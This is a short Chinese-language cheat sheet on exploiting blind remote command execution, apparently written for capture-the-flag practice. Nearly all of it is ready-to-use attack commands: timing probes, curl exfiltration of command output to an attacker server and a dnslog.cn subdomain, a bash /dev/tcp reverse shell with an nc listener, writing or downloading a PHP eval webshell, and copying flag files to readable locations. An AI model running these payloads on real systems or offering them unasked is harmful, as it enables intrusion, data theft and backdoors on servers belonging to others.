0%

无回显RCE

什么是无回显RCE?

无回显RCE,简单来说就是没有任何回显,不管命令或代码是否执行成功。这样的命令执行函数有exec()、shell_exec()。

判断是否执行成功

  1. 延时:

    windows:whoami&&ping -n 5 127.0.0.1
    Linux:whoami&&sleep 5
  2. 目标服务器向个人的公网服务器发起http请求,当该公网服务器收到http请求就代表命令有执行

    nc -lvp 6666
    curl 公网服务器IP:端口号

攻击方法

tee命令

ls | tee a #将ls的结果输入文件a中

dnslog.cn外带

  1. 适用Linux
  2. 命令用反引号包裹
  3. 命令中不能有空格

示例:

curl `whoami`.lc52y4.dnslog.cn
curl `cat flag|sed s/[[:space:]]//`.lc52y4.dnslog.cn

反弹shell

nc -lvp 6666
bash -i >& /dev/tcp/服务器IP/6666 0>&1

直接写入或外部下载webshell

  1. 直接写入,需要站点目录具有写权限:

    echo "<?php @eval(\$_POST[1]);?>" > exp.php
  2. 外部下载,目标服务器可以连接外网且与攻击机互通:

    wget 攻击机IP -o exp.php

各种命令执行

前提:目标服务器上要有已知可读文件,站点目录具有写权限

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容。

  1. cp和mv和重定向

    cp flag.php 1.txt
    mv flag.php 1.txt
    cat flag.php > 1.txt
    cat flag.php >> 1.txt
  2. tar和zip

    tar cvf flag.tar flag.php  # 打包flag.php为flag.tar
    tar zcvf flag.tar.gz flag.php # 压缩flag.php为flag.tar.gz
    # 解压缩:tar zxvf flag.tar.gz
    zip flag.zip flag.php
    #解压缩:unzip flag.zip

参考文章

无回显的渗透技巧 - kinyoobi - 博客园

RCE篇之无回显rce - 学安全的小白 - 博客园